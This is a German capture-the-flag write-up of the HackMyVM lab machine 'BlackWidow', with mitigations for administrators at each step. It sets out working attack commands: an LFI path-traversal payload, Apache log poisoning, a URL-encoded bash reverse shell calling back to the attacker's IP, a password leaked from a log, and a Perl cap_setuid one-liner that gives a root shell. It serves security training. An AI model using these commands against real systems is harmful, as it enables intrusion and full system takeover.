BlackWidow - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
grep
gobuster
wfuzz
curl
awk
tr
php (implizit durch Exploit)
nc (netcat)
bash
script
cat
ssh
linpeas.sh
perl (implizit durch Exploit)
id
pwd

Inhaltsverzeichnis

Reconnaissance

Analyse: Der `arp-scan -l` Befehl wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu identifizieren.

Bewertung: Ein Gerät mit der IP 192.168.2.140 und der MAC-Adresse `08:00:27:e5:8b:f0` (PCS Systemtechnik GmbH - VirtualBox) wird gefunden. Dies ist das Zielsystem.

Empfehlung (Pentester): Notieren Sie die Ziel-IP 192.168.2.140 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Überwachung können helfen, die Sichtbarkeit zu reduzieren und Scans zu erkennen.

┌──(root㉿cyber)-[/HackingTools] └─# arp-scan -l
192.168.2.140	08:00:27:e5:8b:f0	PCS Systemtechnik GmbH

Analyse: Ein umfassender `nmap`-Scan wird auf die Ziel-IP 192.168.2.140 durchgeführt, um offene Ports, Dienste, Versionen und Betriebssysteminformationen zu ermitteln.

Bewertung: Der Scan enthüllt eine Vielzahl offener Ports:

Das Vorhandensein von NFS und einem Squid-Proxy zusätzlich zum Webserver und SSH bietet mehrere potenzielle Angriffsflächen.

Empfehlung (Pentester):

  1. Untersuchen Sie den Webserver (Port 80) auf Schwachstellen und Inhalte.
  2. Prüfen Sie die NFS-Freigaben (`showmount -e 192.168.2.140`) und versuchen Sie, diese zu mounten, falls möglich.
  3. Untersuchen Sie den Squid-Proxy (Port 3128) auf Fehlkonfigurationen (z.B. offener Proxy, Schwachstellen).
  4. Halten Sie SSH (Port 22) für spätere Login-Versuche bereit.
Empfehlung (Admin):
  1. Beschränken Sie den Zugriff auf alle Dienste (SSH, Apache, RPC/NFS, Squid) auf die notwendigen Netzwerke/IPs.
  2. Konfigurieren Sie NFS sicher (Zugriffskontrollen, `no_root_squash` vermeiden).
  3. Konfigurieren Sie Squid sicher (Zugriffskontrollen, keine offenen Proxies).
  4. Halten Sie alle Dienste aktuell.

┌──(root㉿cyber)-[/HackingTools] └─# nmap -sS -sC -T5 -A 192.168.2.140 -p-
Starting Nmap 7.93 ( https://nmap.org ) at ...
Nmap scan report for 192.168.2.140
Host is up (0.0010s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
======================================================================
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:ea:74:25:75:03:26:60:49:54:85:06:b6:15:98:4f (RSA)
|   256 a0:34:05:19:d3:70:22:c7:7c:82:1f:18:98:3b:85:9e (ECDSA)
|_  256 06:e4:08:62:43:6e:3d:53:6b:87:60:6b:5e:8f:7b:b8 (ED25519)
80/tcp    open  http       Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Index of /
111/tcp   open  rpcbind    2-4 (RPC 100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3           2049/tcp  nfs
|   100003  3           2049/udp  nfs
|   100005  1,2,3      44833/tcp  mountd
|   100005  1,2,3      49681/udp  mountd
|   100021  1,3,4      43795/tcp  nlockmgr
|   100021  1,3,4      35387/udp  nlockmgr
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
2049/tcp  open  nfs_acl    3 (RPC 100227)
3128/tcp  open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
43795/tcp open  nlockmgr   1-4 (RPC 100021)
44833/tcp open  mountd     1-3 (RPC 100005)
54901/tcp open  mountd     1-3 (RPC 100005)
60353/tcp open  mountd     1-3 (RPC 100005)
MAC Address: 08:00:27:E5:8B:F0 (PCS Systemtechnik GmbH)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.01 ms 192.168.2.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.77 seconds

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien im Web-Root (Port 80) zu finden. Eine Standard-Wortliste und gängige Erweiterungen werden verwendet.

Bewertung: Mehrere Verzeichnisse und Dateien werden gefunden:

Zusätzlich werden einige spezifische Pfade angezeigt, die wahrscheinlich aus dem Quellcode der Seiten stammen oder manuell hinzugefügt wurden: `/company/started.php`, Bilddateien, `/company/forms/contact.php`. Das Verzeichnis `/company` und die Datei `started.php` erscheinen am interessantesten für die weitere Untersuchung.

Empfehlung (Pentester): Untersuchen Sie das `/company`-Verzeichnis und die `started.php`-Datei genauer. Führen Sie `gobuster` erneut auf `/company/` aus, um tiefere Strukturen zu finden. Analysieren Sie `index.html`, `changelog.txt` und `Readme.txt` auf Hinweise.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen Dateien oder Verzeichnisse im Web-Root liegen. Beschränken Sie den Zugriff auf sensible Verzeichnisse oder Dateien (z.B. `/docs`, falls intern).

┌──(root㉿cyber)-[/HackingTools] └─# gobuster dir -u http://192.168.2.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[...]
/index.html           (Status: 200) [Size: 84]
/docs                 (Status: 301) [Size: 313] [--> http://192.168.2.140/docs/]
/company              (Status: 301) [Size: 316] [--> http://192.168.2.140/company/]
/js                   (Status: 301) [Size: 311] [--> http://192.168.2.140/js/]
[...]
===============================================================

Zusätzliche Pfade (vermutlich aus Quellcode/manueller Analyse):
http://blackwidow/company/started.php
http://192.168.2.140/company/assets/img/skills.png
http://192.168.2.140/company/assets/img/portfolio/portfolio-1.jpg
http://192.168.2.140/company/assets/img/team/team-2.jpg
http://192.168.2.140/company/forms/contact.php

Analyse: `gobuster` wird erneut ausgeführt, diesmal gezielt auf das Unterverzeichnis `/company/assets/`.

Bewertung: Es werden Standard-Asset-Verzeichnisse gefunden: `/img/`, `/css/`, `/js/`, `/vendor/`. Dies bestätigt die Struktur, liefert aber keine direkten neuen Angriffspunkte.

Empfehlung (Pentester): Diese Verzeichnisse enthalten normalerweise keine serverseitige Logik, aber man könnte sie nach interessanten JavaScript-Dateien oder Konfigurationsdateien durchsuchen, die versehentlich dort abgelegt wurden.
Empfehlung (Admin): Stellen Sie sicher, dass in Asset-Verzeichnissen keine sensiblen Dateien liegen.

┌──(root㉿cyber)-[/HackingTools] └─# gobuster dir -u http://192.168.2.140/company/assets/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[...]
/img                  (Status: 301) [Size: 327] [--> http://192.168.2.140/company/assets/img/]
/css                  (Status: 301) [Size: 327] [--> http://192.168.2.140/company/assets/css/]
/js                   (Status: 301) [Size: 326] [--> http://192.168.2.140/company/assets/js/]
/vendor               (Status: 301) [Size: 330] [--> http://192.168.2.140/company/assets/vendor/]
[...]
===============================================================

Analyse: Ein weiterer `gobuster`-Scan, diesmal auf das Verzeichnis `/company/`.

Bewertung: Dieser Scan bestätigt die bereits bekannten Dateien und Verzeichnisse (`index.html`, `assets`, `forms`). Neu entdeckt werden:

Empfehlung (Pentester): Laden Sie `changelog.txt` und `Readme.txt` herunter und analysieren Sie deren Inhalt. Konzentrieren Sie die weitere Untersuchung auf `started.php`, da PHP-Dateien oft Angriffspunkte für Local File Inclusion (LFI) oder Remote Code Execution (RCE) bieten.
Empfehlung (Admin): Entfernen Sie unnötige Dateien wie `changelog.txt` oder `Readme.txt` von Produktionsservern, wenn sie sensible Informationen enthalten könnten.

┌──(root㉿cyber)-[/HackingTools] └─# gobuster dir -u http://192.168.2.140/company/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[...]
/index.html           (Status: 200) [Size: 42271]
/assets               (Status: 301) [Size: 323] [--> http://192.168.2.140/company/assets/]
/forms                (Status: 301) [Size: 322] [--> http://192.168.2.140/company/forms/]
/changelog.txt        (Status: 200) [Size: 1175]
/Readme.txt           (Status: 200) [Size: 222]
/started.php          (Status: 200) [Size: 42271]
[...]
===============================================================

Analyse: `wfuzz` wird verwendet, um die Datei `started.php` auf Local File Inclusion (LFI)-Schwachstellen zu testen. Es wird versucht, Parameter zu finden, indem der Wert auf `../../../../etc/passwd` gesetzt wird. Der Hostname `blackwidow` wird verwendet, dieser muss also zuvor in `/etc/hosts` eingetragen worden sein (`192.168.2.140 blackwidow`). Die Optionen `--hc=500` (verstecke Serverfehler) und `--hh 42271` (verstecke Antworten mit der Größe der normalen Seite) sollen irrelevante Ergebnisse ausfiltern.

Bewertung: `wfuzz` identifiziert den Parameter `file` als potenziell anfällig. Die Antwort hat Status 200 und eine Größe von 0, was darauf hindeutet, dass die Datei `/etc/passwd` entweder nicht inkludiert werden konnte (Berechtigungsfehler) oder der LFI-Versuch selbst die normale Ausgabe unterdrückt hat, aber der Parameter erkannt wurde.

Empfehlung (Pentester): Da der Parameter `file` gefunden wurde, testen Sie ihn gezielt auf LFI. Versuchen Sie, bekannte Dateien wie `/etc/passwd` oder `/etc/hosts` mit verschiedenen Path-Traversal-Tiefen einzubinden (`?file=../../etc/passwd`, `?file=../../../etc/passwd` etc.). Verwenden Sie eine LFI-spezifische Wortliste mit `wfuzz`.
Empfehlung (Admin): Implementieren Sie sichere Dateipfadvverarbeitung in `started.php`. Vermeiden Sie es, Benutzereingaben direkt in Dateipfadfunktionen (`include`, `require`, `file_get_contents` etc.) zu verwenden. Validieren und bereinigen Sie alle Eingaben und beschränken Sie den Zugriff auf erlaubte Verzeichnisse.

┌──(root㉿cyber)-[/HackingTools] └─# wfuzz -u "http://blackwidow/company/started.php?FUZZ=../../../../etc/passwd" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hc=500 --hh 42271
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://blackwidow/company/started.php?FUZZ=../../../../etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000759:   200        0 L      0 W        0 Ch        "file"

[...]
Total time: ...
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: ...

Analyse: Nach der Identifizierung des `file`-Parameters wird `wfuzz` erneut verwendet, diesmal mit einer LFI-spezifischen Wortliste (`LFI-LFISuite-pathtotest.txt`), um verschiedene Path-Traversal-Sequenzen und Dateinamen zu testen. Antworten mit Status 500 (Serverfehler) und Größe 0 werden versteckt.

Bewertung: LFI bestätigt! Mehrere Payloads führen erfolgreich zum Einbinden von `/etc/passwd` und `/etc/group`. Die Antworten haben Status 200 und eine von 0 abweichende Größe (1582 Chars für passwd, 727 für group). Die erfolgreichen Payloads verwenden eine große Anzahl von `../`-Sequenzen, was darauf hindeutet, dass eine einfache Filterung umgangen werden muss.

Empfehlung (Pentester):

  1. Sie können nun beliebige Dateien lesen, auf die der `www-data`-Benutzer Lesezugriff hat.
  2. Lesen Sie wichtige Konfigurationsdateien (z.B. `/etc/apache2/apache2.conf`, `/etc/squid/squid.conf`, `/etc/exports` für NFS).
  3. Versuchen Sie, Quellcode von PHP-Dateien zu lesen, z.B. `started.php` selbst oder `contact.php`, indem Sie PHP-Wrapper verwenden: `?file=php://filter/convert.base64-encode/resource=started.php`.
  4. Untersuchen Sie Möglichkeiten zur Codeausführung über LFI, z.B. durch Log Poisoning (Apache-Logs einbinden) oder Ausnutzung von `/proc/self/environ`.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `started.php` dringend (siehe vorherige Empfehlung). Überprüfen Sie die Dateiberechtigungen, um sicherzustellen, dass der Webserver-Benutzer (`www-data`) nur auf die absolut notwendigen Dateien Lesezugriff hat.

┌──(root㉿cyber)-[] └─# wfuzz -u "http://blackwidow/company/started.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt --hc=500 --hh 0
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://blackwidow/company/started.php?file=FUZZ
Total requests: 569

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000062:   200        29 L     43 W       1582 Ch     "../../../../../../../../../../../../../../../../etc/passwd"
000000061:   200        29 L     43 W       1582 Ch     "../../../../../../../../../../../../../../etc/passwd"
000000060:   200        29 L     43 W       1582 Ch     "../../../../../../../../../../../../../etc/passwd"
000000403:   200        55 L     55 W       727 Ch      "../../../../../../../../../../../../../etc/group"
000000404:   200        55 L     55 W       727 Ch      "../../../../../../../../../../../../../../etc/group"

[...]
Total time: ...
Processed Requests: 569
Filtered Requests: 564
Requests/sec.: ...
Erfolgreiche URL zum Lesen von /etc/passwd:
http://blackwidow/company/started.php?file=../../../../../../../../../../../../../../etc/passwd

Analyse: Der Inhalt von `/etc/passwd` wird über die LFI-Schwachstelle mit `curl` abgerufen und mit `grep bash` nach Benutzern gefiltert, die eine Bash-Shell haben.

Bewertung: Zwei Benutzer mit Bash-Shell werden identifiziert:

Dies gibt uns potenzielle Benutzernamen für Brute-Force-Angriffe oder Passwort-Wiederverwendungstests.

Empfehlung (Pentester): Notieren Sie den Benutzernamen `viper`. Fahren Sie mit der LFI-Ausnutzung fort, um weitere Informationen zu sammeln oder Codeausführung zu erreichen (z.B. Log Poisoning).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Überprüfen Sie die Notwendigkeit von Benutzerkonten und deren Shell-Zugriff.

┌──(root㉿cyber)-[] └─# curl http://blackwidow/company/started.php?file=../../../../../../../../../../../../../../etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
viper:x:1001:1001:Viper,,,:/home/viper:/bin/bash

Analyse: Dieser Befehl extrahiert das neunte Feld (vermutlich Pfade) aus jeder Zeile einer Datei `log.txt` (deren Inhalt unbekannt ist, aber wahrscheinlich Log-Einträge enthält), entfernt Anführungszeichen und fügt das Ergebnis an eine Wortliste `/usr/share/wordlists/logfiles.txt` an. Diese Wortliste wird dann mit `wfuzz` verwendet, um über die LFI-Schwachstelle auf diese Log-Dateipfade zuzugreifen.

Bewertung: Der `wfuzz`-Scan findet mehrere potenzielle Log-Dateipfade, die mit Status 200 antworten, aber alle haben eine Größe von 0 Chars. Dies deutet darauf hin, dass die Dateien entweder leer sind oder der `www-data`-Benutzer keine Leseberechtigung hat. Ein wichtiger Pfad ist jedoch `/var/log/apache2/access_log`, der häufig für Log Poisoning verwendet wird.

Empfehlung (Pentester): Konzentrieren Sie sich auf den Pfad `/var/log/apache2/access.log` (oder `access_log`). Versuchen Sie, diesen über LFI einzubinden und durch eine speziell präparierte Anfrage (z.B. mit PHP-Code im User-Agent) Code auszuführen (Log Poisoning).
Empfehlung (Admin): Stellen Sie sicher, dass Logdateien, insbesondere Apache-Logs, korrekte Berechtigungen haben und nicht vom Webserver-Benutzer gelesen werden können, wenn dies nicht unbedingt erforderlich ist. Implementieren Sie Log-Rotation und -Bereinigung.

┌──(root㉿cyber)-[] └─# cat log.txt|awk '{print $9}' | tr -d '"' >> /usr/share/wordlists/logfiles.txt
┌──(root㉿cyber)-[] └─# wfuzz -u "http://blackwidow/company/started.php?file=../../../../../../../../../../../../../../../..FUZZ" -w /usr/share/wordlists/logfiles.txt --hc=500
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://blackwidow/company/started.php?file=../../../../../../../../../../../../../../../..FUZZ
Total requests: 92

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000016:   200        0 L      0 W        0 Ch        "/var/log/apache2/access_log"
000000011:   200        0 L      0 W        0 Ch        "/var/www/logs/access_log"
000000010:   200        0 L      0 W        0 Ch        "/etc/httpd/logs/error.log"
000000013:   200        0 L      0 W        0 Ch        "/usr/local/apache/logs/access_log"
000000006:   200        0 L      0 W        0 Ch        "/apache/logs/access.log"
000000008:   200        0 L      0 W        0 Ch        "/etc/httpd/logs/acces.log"
000000009:   200        0 L      0 W        0 Ch        "/etc/httpd/logs/error_log"
000000005:   200        0 L      0 W        0 Ch        "/apache/logs/error.log"
000000012:   200        0 L      0 W        0 Ch        "/var/www/logs/access.log"
[...]
Total time: ...
Processed Requests: 92
Filtered Requests: [...]
Requests/sec.: ...

Initial Access

Analyse: Eine Anfrage wird mit `curl` an das Zielsystem (IP 192.168.2.141 - Änderung beachten!) gesendet. Entscheidend ist der User-Agent-Header (`-A`), der auf `` gesetzt wird. Dies ist der Versuch, PHP-Code in die Apache-Logdatei zu schreiben.

Bewertung: Wenn der Apache-Server den User-Agent unverändert in die `access.log`-Datei schreibt, wird dieser PHP-Code dort gespeichert. Wenn anschließend die `access.log` über die LFI-Schwachstelle eingebunden wird, interpretiert der PHP-Interpreter den Code in der Logdatei und führt ihn aus. Dies ist die Grundlage für Log Poisoning.

Empfehlung (Pentester):

  1. Binden Sie die Apache-Logdatei über die LFI ein: `http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log`.
  2. Fügen Sie einen `cmd`-Parameter hinzu, um den injizierten Code auszuführen: `...access.log&cmd=id`. Überprüfen Sie, ob der Befehl ausgeführt wird (die Ausgabe sollte im HTML-Quellcode der Antwort sichtbar sein).
  3. Wenn dies funktioniert, verwenden Sie den `cmd`-Parameter, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Konfigurieren Sie Apache so, dass potenziell gefährliche Zeichen in Logeinträgen (insbesondere im User-Agent) maskiert oder entfernt werden. Beschränken Sie die Leserechte auf Logdateien. Beheben Sie die LFI-Schwachstelle.

┌──(root㉿cyber)-[/usr/share/seclists] └─# curl -A '' 192.168.2.141

wallpaper

Analyse: Nach dem Versuch, den PHP-Code in die Logs zu injizieren, wird `curl` verwendet, um die `access.log` über die LFI einzubinden und gleichzeitig den Parameter `cmd=id` anzuhängen. Die Ausgabe wird nach "data" gefiltert.

Bewertung: Log Poisoning erfolgreich! In der Ausgabe der Logdatei findet sich die Zeile `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. Dies ist die Ausgabe des `id`-Befehls, der durch den injizierten PHP-Code (`system($_GET['cmd'])`) ausgeführt wurde, als die Logdatei eingebunden wurde. Der Angreifer hat nun Remote Code Execution als `www-data`.

Empfehlung (Pentester): Nutzen Sie die `cmd`-Parameter-Schwachstelle, um eine Reverse Shell zu erhalten. Starten Sie einen Listener (`nc -lvnp 9001`) und senden Sie den entsprechenden Payload (URL-kodiert) mit `curl` oder im Browser: `curl 'http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FDEINE_IP%2F9001%200%3E%261%27'`
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle und konfigurieren Sie das Logging sicher (siehe vorherige Empfehlungen).

# Frühere Versuche, den richtigen Log-Pfad zu finden (nicht notwendig für das Verständnis des Erfolgs):
┌──(root㉿cyber)-[] └─# wfuzz -u "http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../..FUZZ" -w /usr/share/wordlists/logfiles.txt --hc=500 | grep apache | grep acces
[...]
┌──(root㉿cyber)-[] └─# curl http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log
[...]
┌──(root㉿cyber)-[] └─# curl 'http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log&cmd=id' | grep data
[...] (Viele Log-Zeilen)
192.168.2.114 - - [09/Sep/2022:10:52:02 -0400] "GET / HTTP/1.1" 200 334 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
[...]

Analyse: Ein Netcat-Listener wird auf Port 9001 gestartet. Eine URL wird gezeigt, die den LFI/Log-Poisoning-Exploit enthält, um eine Reverse Shell zu `192.168.2.140:9001` zu senden. Der Befehl `SHELL=/bin/bash script -q /dev/null` wird oft verwendet, um eine interaktivere TTY-Shell nach Erhalt einer einfachen Reverse Shell zu erhalten.

Bewertung: Dies beschreibt den finalen Schritt zur Erlangung einer Shell als `www-data`. Durch Aufrufen der präparierten URL wird der Code im Log ausgeführt, der `bash -i` startet und die Ein-/Ausgabe zum Listener auf dem Angreifer-System umleitet.

Empfehlung (Pentester): Führen Sie den Listener aus, rufen Sie die URL auf und stabilisieren Sie die erhaltene Shell als `www-data`. Beginnen Sie mit der Enumeration als dieser Benutzer.
Empfehlung (Admin): (Siehe vorherige Empfehlungen zu LFI und Log Poisoning).

┌──(root㉿cyber)-[] └─# nc -lvnp 9001
listening on [any] 9001 ...

# URL für Reverse Shell (Aufruf im Browser oder mit curl):
view-source:http://192.168.2.141/company/started.php?file=../../../../../../../../../../../../../../../../var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27

# Befehl zur Shell-Stabilisierung (nach Erhalt der Verbindung):
SHELL=/bin/bash script -q /dev/null

Privilege Escalation

Analyse: In der erhaltenen `www-data`-Shell wird eine Backup-Datei des Authentifizierungslogs (`/var/backups/auth.log`) durchsucht. Es wird speziell nach Einträgen gefiltert, die den Port `7090` enthalten.

Bewertung: Die Ausgabe zeigt mehrere fehlgeschlagene Login-Versuche für einen "invalid user" namens `?V1p3r2020!?` von der IP `192.168.1.109` auf Port `7090`. Der Benutzername enthält Sonderzeichen, aber der Kern `V1p3r2020!` sieht stark nach einem Passwort aus, das versehentlich als Benutzername eingegeben wurde. Es ist wahrscheinlich das Passwort für den Benutzer `viper`, der zuvor in `/etc/passwd` gefunden wurde.

Empfehlung (Pentester): Versuchen Sie, sich mit dem Benutzernamen `viper` und dem vermuteten Passwort `V1p3r2020!` per SSH auf Port 22 anzumelden (`ssh viper@192.168.2.141`).
Empfehlung (Admin): Überprüfen Sie, warum Authentifizierungslogs in `/var/backups` gespeichert werden und ob dies sicher geschieht. Beschränken Sie den Zugriff auf Log-Backups. Schulen Sie Benutzer im sicheren Umgang mit Passwörtern und im korrekten Login-Vorgang. Implementieren Sie Intrusion Detection Systeme (wie fail2ban), um wiederholte fehlgeschlagene Login-Versuche zu blockieren.

www-data@blackwidow:/var/www/html/company$ cat /var/backups/auth.log | grep 7090
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:46 test sshd[29560]: Failed password for invalid user ?V1p3r2020!? from 192.168.1.109 port 7090 ssh2
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090

Analyse: Es wird versucht, sich per SSH als Benutzer `viper` auf dem Zielsystem (192.168.2.141) anzumelden, vermutlich unter Verwendung des im vorherigen Schritt gefundenen Passworts `V1p3r2020!`.

Bewertung: Der Login ist erfolgreich (impliziert durch die fehlende Fehlermeldung und die nachfolgende Ausgabe von `cat local.txt`). Der Angreifer hat nun eine Shell als Benutzer `viper`. Anschließend wird die User-Flag aus `local.txt` gelesen: `d930fe79919376e6d08972dae222526b`.

Empfehlung (Pentester): Notieren Sie die User-Flag. Führen Sie Enumeration als Benutzer `viper` durch (z.B. `sudo -l`, SUID-Binaries, Cronjobs, Home-Verzeichnis untersuchen), um den nächsten Schritt zur Rechteausweitung auf Root zu finden.
Empfehlung (Admin): Erzwingen Sie starke, nicht erratbare Passwörter. Vermeiden Sie die Speicherung von Passwörtern in Logs. Überwachen Sie SSH-Logins.

┌──(root㉿cyber)-[] └─# ssh viper@192.168.2.141
The authenticity of host '192.168.2.141 (192.168.2.141)' can't be established.
ED25519 key fingerprint is SHA256:uAKXWMgmDlF/ZpvQDb+PUKtEN8lJntzsMNcHasplJ9U.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.141' (ED25519) to the list of known hosts.
Password: (Passwort 'V1p3r2020!' eingegeben)
Linux blackwidow 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
[...] (Login Banner)
viper@blackwidow:~$ cat local.txt
d930fe79919376e6d08972dae222526b
viper@blackwidow:~$ 

Analyse: Auf dem Angreifer-System wird ein einfacher PHP-Webserver gestartet, um Dateien bereitzustellen. Auf dem Zielsystem wird dann `linpeas.sh`, ein bekanntes Linux-Enumerations- und Privilege-Escalation-Skript, vom Angreifer-Server heruntergeladen und direkt an `bash` übergeben, um es auszuführen. Die Ausgabe von LinPEAS wird nach der Zeichenkette `cap_setuid+ep` gefiltert.

Bewertung: LinPEAS identifiziert eine kritische Fehlkonfiguration: Die Datei `/home/viper/backup_site/assets/vendor/weapon/arsenic` hat die `cap_setuid+ep` Capability gesetzt und ist für den aktuellen Benutzer (`viper`) schreibbar. Die `cap_setuid`-Capability erlaubt einem Prozess, seine effektive und reale Benutzer-ID zu ändern, was zur Rechteausweitung missbraucht werden kann, insbesondere wenn die Datei schreibbar ist oder eine bekannte Schwachstelle hat. Der Dateiname `arsenic` ist ebenfalls verdächtig.

Empfehlung (Pentester):

  1. Überprüfen Sie den Dateityp von `arsenic` (`file /home/viper/.../arsenic`).
  2. Wenn es sich um ein Skript (z.B. Perl, Python, Bash) handelt, überschreiben Sie es mit einem Payload, der `setuid(0)` aufruft und eine Root-Shell startet.
  3. Wenn es sich um ein Binary handelt, recherchieren Sie, ob `arsenic` ein bekanntes Tool ist oder ob es speziell für diese CTF erstellt wurde.
  4. Führen Sie das (ggf. modifizierte) `arsenic`-Binary aus, um Root-Rechte zu erlangen. Der im Text gezeigte Perl-Payload ist ein gängiger Weg, `cap_setuid` auszunutzen.
Empfehlung (Admin):
  1. Entfernen Sie die `cap_setuid`-Capability von der `arsenic`-Datei (`sudo setcap cap_setuid-ep /home/viper/.../arsenic`) oder löschen Sie die Datei/das Verzeichnis, falls nicht benötigt.
  2. Überprüfen Sie regelmäßig das System auf Dateien mit gesetzten Capabilities (`getcap -r / 2>/dev/null`), insbesondere `cap_setuid`.
  3. Vergeben Sie Capabilities nur an vertrauenswürdige Binaries und stellen Sie sicher, dass diese nicht von unprivilegierten Benutzern überschrieben werden können.

┌──(root㉿cyber)-[/HackingTools] └─# php -S 0.0.0.0:80
[Fri Sep  9 17:05:30 2022] PHP 8.1.5 Development Server (http://0.0.0.0:80) started
[Fri Sep  9 17:06:07 2022] 192.168.2.141:49506 Accepted
[Fri Sep  9 17:06:07 2022] 192.168.2.141:49506 [200]: GET /linpeas.sh
[Fri Sep  9 17:06:07 2022] 192.168.2.141:49506 Closing
viper@blackwidow:$ curl http://192.168.2.114:80/linpeas.sh | bash |grep "cap_setuid+ep"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  806k  100  806k    0     0   109k      0  0:00:07  0:00:07 --:--:--  109k
/home/viper/backup_site/assets/vendor/weapon/arsenic = cap_setuid+ep is writable

Proof of Concept (Root Exploit)

Analyse: Das Binary `/home/viper/backup_site/assets/vendor/weapon/arsenic`, das die `cap_setuid+ep`-Capability besitzt, wird ausgeführt. Es wird ein Perl-Payload (`-e '...'`) übergeben. Dieser Payload verwendet das POSIX-Modul, um `setuid(0)` aufzurufen (wodurch die effektive Benutzer-ID auf 0, also Root, gesetzt wird) und führt dann `/bin/bash` aus.

Bewertung: Der Exploit funktioniert! Da `arsenic` die `cap_setuid`-Capability hat, darf der Perl-Code `setuid(0)` erfolgreich aufrufen. Die nachfolgende `exec "/bin/bash"` startet eine neue Bash-Shell, die nun mit Root-Rechten läuft. Dies wird durch den Prompt `root@blackwidow:` bestätigt.

Empfehlung (Pentester):

  1. Sie haben Root-Zugriff erlangt.
  2. Lesen Sie die Root-Flag (`cat /root/root.txt`).
  3. Führen Sie abschließende Aufräumarbeiten durch (Logs bereinigen, hochgeladene Dateien löschen etc.).
Empfehlung (Admin): (Siehe vorherige Empfehlungen zu Capabilities) Entfernen Sie die `cap_setuid`-Capability von `arsenic` oder löschen Sie die Datei. Untersuchen Sie, wie diese Datei auf das System gelangt ist und die Capability erhalten hat.

# Vorheriger Befehl aus linpeas zur Demonstration der Capability (optional)
# sudo setcap cap_setuid+ep ./perl
viper@blackwidow:$ /home/viper/backup_site/assets/vendor/weapon/arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
[Keine Ausgabe, aber der Prompt wechselt]
root@blackwidow:~# id
uid=0(root) gid=1001(viper) groups=1001(viper)
root@blackwidow:~#

